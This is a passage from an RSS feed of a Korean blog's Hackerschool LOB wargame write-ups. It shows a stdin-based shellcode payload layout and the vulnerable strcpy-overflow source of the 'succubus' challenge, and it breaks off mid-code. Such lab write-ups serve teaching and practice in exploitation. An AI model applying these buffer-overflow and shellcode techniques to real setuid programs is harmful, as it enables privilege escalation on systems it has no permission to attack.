14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;end of ptr = 0x40015011&lt;/span&gt;이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stdin 구조체를 공부하고 조사해보면, stdin에서 실행이 가능하다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;따라서 우리의 payload는 stdin에서 실행하게 작성할 것이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;nop(20) + shellcode(24) + ret(4)&lt;/span&gt; 로 구성된다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9985303B5BCED9AF0F&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9985303B5BCED9AF0F&quot; width=&quot;1000&quot; height=&quot;181&quot; filename=&quot;이미지 010.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;다음과 같이 공격에 성공할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;일반적으로 &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;stdin(표준입력)&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;이 EOF(End of File)을 돌려주기 때문에 단순 쉘 코드를 작성하면 쉘이 종료된다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;따라서 이러한 문제를 없에기 위해서 &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;c&lt;/span&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;at&lt;/span&gt;(표준출력)&lt;/span&gt;을 이용한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Wargame/LOB</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/219</guid>
      <comments>https://marcokhan.tistory.com/219#entry219comment</comments>
      <pubDate>Tue, 23 Oct 2018 17:33:14 +0900</pubDate>
    </item>
    <item>
      <title>해커스쿨 LOB succubus 풀이, write-up</title>
      <link>https://marcokhan.tistory.com/218</link>
      <description>&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 24pt;&quot;&gt;succubus --- here to stay&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;문제 풀기 전에 아래의 명령어를 반드시 쳐야한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;$export SHELL=/bin/bash2&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;$/bin/bash2&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;우선 succubus의 디렉터리를 확인한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 838px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/996CDF3E5BBDCE0B31&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F996CDF3E5BBDCE0B31&quot; width=&quot;838&quot; height=&quot;81&quot; filename=&quot;이미지 088.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;nightmare&lt;/span&gt;라는 의심스러운 파일이 존재한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;nightmare는 nightmare의 권한을 가지고 있고, setuid가 걸려있는 파일&lt;/span&gt;이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;nightmare.c를 가지고 nightmare elf 파일을 만들었을 가능성이 있기 때문에, succubus 파일을 본 뒤 어떤 취약점을 가지고 있는지 확인해보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 712px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99EA0F345BBDCEF629&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99EA0F345BBDCEF629&quot; width=&quot;712&quot; height=&quot;691&quot; filename=&quot;이미지 001.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;지역 변수를 선언한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;buffer[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;40&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;];&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;addr;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;인자가 없으면 &quot;argv error\n'를 출력하고 종료한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(argc&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;argv&amp;nbsp;error\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit(&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;strcpy의 주소를 addr에 대입한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;argv[1]+44가 가리키는 데이터와 &amp;amp;addr이 가리키는 데이터 4byte가 같지 않으면 &quot;You must fall in love with strcpy()\n&quot;)를 출력하고 종료한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//&amp;nbsp;check&amp;nbsp;address&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;addr&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;(&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;strcpy;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(memcmp(argv[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;44&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;addr,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;You&amp;nbsp;must&amp;nbsp;fall&amp;nbsp;in&amp;nbsp;love&amp;nbsp;with&amp;nbsp;strcpy()\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit(&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;argv[1]를 buffer에 복사하고 출력한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//&amp;nbsp;overflow!&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;strcpy(buffer,&amp;nbsp;argv[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 